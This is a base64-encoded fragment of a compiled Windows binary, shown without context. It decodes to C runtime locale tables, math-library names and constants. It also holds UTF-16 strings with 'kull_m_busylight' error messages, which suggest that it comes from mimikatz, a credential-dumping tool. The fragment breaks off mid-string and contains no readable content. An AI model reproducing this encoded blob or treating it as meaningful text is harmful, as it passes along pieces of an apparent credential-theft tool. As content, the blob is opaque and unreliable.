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AYwB6AAAAYwB5AC0AZwBiAAAAZABhAC0AZABrAAAAZABlAC0AYQB0AAAAZABlAC0AYwBoAAAAZABlAC0AZABlAAAAZABlAC0AbABpAAAAZABlAC0AbAB1AAAAZABpAHYALQBtAHYAAAAAAGUAbAAtAGcAcgAAAGUAbgAtAGEAdQAAAGUAbgAtAGIAegAAAGUAbgAtAGMAYQAAAGUAbgAtAGMAYgAAAGUAbgAtAGcAYgAAAGUAbgAtAGkAZQAAAGUAbgAtAGoAbQAAAGUAbgAtAG4AegAAAGUAbgAtAHAAaAAAAGUAbgAtAHQAdAAAAGUAbgAtAHUAcwAAAGUAbgAtAHoAYQAAAGUAbgAtAHoAdwAAAGUAcwAtAGEAcgAAAGUAcwAtAGIAbwAAAGUAcwAtAGMAbAAAAGUAcwAtAGMAbwAAAGUAcwAtAGMAcgAAAGUAcwAtAGQAbwAAAGUAcwAtAGUAYwAAAGUAcwAtAGUAcwAAAGUAcwAtAGcAdAAAAGUAcwAtAGgAbgAAAGUAcwAtAG0AeAAAAGUAcwAtAG4AaQAAAGUAcwAtAHAAYQAAAGUAcwAtAHAAZQAAAGUAcwAtAHAAcgAAAGUAcwAtAHAAeQAAAGUAcwAtAHMAdgAAAGUAcwAtAHUAeQAAAGUAcwAtAHYAZQAAAGUAdAAtAGUAZQAAAGUAdQAtAGUAcwAAAGYAYQAtAGkAcgAAAGYAaQAtAGYAaQAAAGYAbwAtAGYAbwAAAGYAcgAtAGIAZQAAAGYAcgAtAGMAYQAAAGYAcgAtAGMAaAAAAGYAcgAtAGYAcgAAAGYAcgAtAGwAdQAAAGYAcgAtAG0AYwAAAGcAbAAtAGUAcwAAAGcAdQAtAGkAbgAAAGgAZQAtAGkAbAAAAGgAaQAtAGkAbgAAAGgAcgAtAGIAYQAAAGgAcgAtAGgAcgAAAGgAdQAtAGgAdQAAAGgAeQAtAGEAbQAAAGkAZAAtAGkAZAAAAGkAcwAtAGkAcwAAAGkAdAAtAGMAaAAAAGkAdAAtAGkAdAAAAGoAYQAtAGoAcAAAAGsAYQAtAGcAZQAAAGsAawAtAGsAegAAAGsAbgAtAGkAbgAAAGsAbwBrAC0AaQBuAAAAAABrAG8ALQBrAHIAAABrAHkALQBrAGcAAABsAHQALQBsAHQAAABsAHYALQBsAHYAAABtAGkALQBuAHo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3yz8AAAAAgPfLPwAAAAAAwMs/AAAAAADAyz8AAAAAAADgP3RhbmgAAAAAYXRhbgAAAABhdGFuMgAAAHNpbgBjb3MAdGFuAGNlaWwAAAAAZmxvb3IAAABmYWJzAAAAAG1vZGYAAAAAbGRleHAAAABfY2FicwAAAF9oeXBvdAAAZm1vZAAAAABmcmV4cAAAAF95MABfeTEAX3luAF9sb2diAAAAX25leHRhZnRlcgAAAAAAABQAAAAQAwQQHQAAABQDBBAaAAAABAMEEBsAAAAIAwQQHwAAAPAMBBATAAAA+AwEECEAAAB4CwQQDgAAABgDBBANAAAAIAMEEA8AAACACwQQEAAAAIgLBBAFAAAAKAMEEB4AAACQCwQQEgAAAJQLBBAgAAAAmAsEEAwAAACcCwQQCwAAAKQLBBAVAAAArAsEEBwAAAC0CwQQGQAAALwLBBARAAAAxAsEEBgAAADMCwQQFgAAANQLBBAXAAAA3AsEECIAAADkCwQQIwAAAOgLBBAkAAAA7AsEECUAAADwCwQQJgAAAPgLBBBzaW5oAAAAAGNvc2gAAAAAAAAAAAAA8H/////////vfwAAAAAAAACAJTA0aHUlMDJodSUwMmh1JTAyaHUlMDJodSUwMmh1WgBCAHUAcwB5AGwAaQBnAGgAdAAgAEwAeQBuAGMAIABtAG8AZABlAGwAIAAoAHcAaQB0AGgAIABiAG8AbwB0AGwAbwBhAGQAZQByACkAAAAAAEIAdQBzAHkAbABpAGcAaAB0ACAAVQBDACAAbQBvAGQAZQBsAAAAAABrAHUAYQBuAGQAbwBCAE8AWAAAAEIAdQBzAHkAbABpAGcAaAB0ACAATwBtAGUAZwBhACAAbQBvAGQAZQBsAAAAQgB1AHMAeQBsAGkAZwBoAHQAIABMAHkAbgBjACAAbQBvAGQAZQBsACAAKABNAGkAYwByAG8AYwBoAGkAcAAgAEkAZAApAAAARgB1AGoAaQB0AHMAdQAgAE0ATQBNADIAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEgAaQBkAFAAXwBHAGUAdABDAGEAcABzACAAKAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACAAKABoAEsAZQBlAHAAQQBsAGkAdgBlAFQAaAByAGUAYQBkACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdA